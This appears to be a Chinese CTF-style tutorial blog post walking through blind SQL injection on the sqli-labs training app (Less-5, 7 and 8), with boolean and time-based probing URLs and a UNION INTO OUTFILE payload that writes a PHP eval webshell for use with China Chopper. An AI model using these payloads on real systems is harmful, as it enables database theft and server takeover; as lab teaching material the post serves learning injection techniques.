CTFweb篇-SQL注入(二)

盲注

基于布尔的盲注

基于布尔的盲注,就是传入注入的值,服务器那边只是返回True或者False

补充知识

left(a,b):提取a中从左往右前b个字符

select(database(),1)=‘s’:如果数据库名的第一个字符是s,则返回1

regxp:用于匹配

select user() regexp ‘r’:如果用户名前面是r,则返回1

like:跟regxp一样,只是字符串后面加%
substr(a,b,c):截取a字符串从b开始的前c个字符
ascii():返回某个字符的ascii码

SQL语句一点注意点

如果原句是

select * from table where id = ‘x’

这里x可以是1",1")等,大概原理跟上一篇的"x"情形一样,但是这里不能是 x’

Less5

如果传入的SQL语句执行正确,就会显示You are in …
这里可以利用left函数来确定相关信息,例如数据库名字

http://192.168.1.2/sqli-labs-master/Less-5/?id=1’ and left(database(),1)=‘s’–%20

在这里插入图片描述
证明当前数据库名的第一个字符是s
再用:

http://192.168.1.2/sqli-labs-master/Less-5/?id=1’ and left(database(),2)=‘se’–%20

仍然正常返回,证明前两个字符是se
由此往下推算下去,在这里可以用burp suite的暴力破解来达到目的。
!!!注意
当把上面的database打错成databas或者其它错误函数时,虽然会出错,但是他会直接打印出在这里插入图片描述
直接能从报错中看出数据库名是security

Less7

传入

http://192.168.1.2/sqli-labs-master/Less-7/?id=%E2%80%99

报错,就有注入漏洞 !!!在双引号中写入注释符是无用的。
传入id=1,提示要写出文件
再传入

http://192.168.1.2/sqli-labs-master/Less-7/?id=1%27))%20order%20by%204–%20

提示语法错误,order by3就是正确的,证明有三个字段
下面开始文件注入
select ’ ’ into outfile ‘文件路径’
查看导出文件权限show variables like '%secure%'
如果遇到权限报错,就需要再mysql的my.ini中去添加权限
下面用payload:

http://192.168.1.2/sqli-labs-master/Less-7/?id=-1’)) union select 1,2,"<?php eval($_POST['pass']);?>" into outfile “E:\web\PHPstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7\one.php” --%20

就写入了一句话木马,用中国菜刀连接即可。

Less8

传入
http://127.0.0.1/sqli-labs-master/Less-8/?id=1
正常显示
在这里插入图片描述
传入id=1",id=1"),id=1’也是正常显示
但是当传入id=1’时
在这里插入图片描述
什么都没有显示,可以得到ID是双单引号闭合。

可以通过以下方法来获取信息
通常可以用length(database())=N:通过此函数来判断数据库的长度
substr(database(),1,1)=X:通过这个来判断数据库第一个字符
ascii(substr(database(),1,1)=N:通过N的数字来判断数据库名的第一个字符的ascii

传入

http://127.0.0.1/sqli-labs-master/Less-8/?id=1‘ and length(database()) = 8 --%20

在这里插入图片描述
当将8改为9

http://127.0.0.1/sqli-labs-master/Less-8/?id=1‘ and length(database()) = 9 --%20

在这里插入图片描述
什么都没有显示
由此证明当前数据库名是8个字符组成

基于时间的盲注

Less8

首先判断出存在注入漏洞
然后利用

http://192.168.1.2/sqli-labs-master/Less-8/?id=1’ and if(length(database())=8,1,sleep(2))–+

用sleep函数来判断数据库信息,这里判断出了数据库名的长度是8
利用

http://192.168.1.2/sqli-labs-master/Less-8/?id=1’ and if (ascii(substr(database(),1,1)) = 115,1,sleep(3))–+

来判断数据库名,这里证明数据库名的第一位是ASCII为115
以此类推下去即可。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值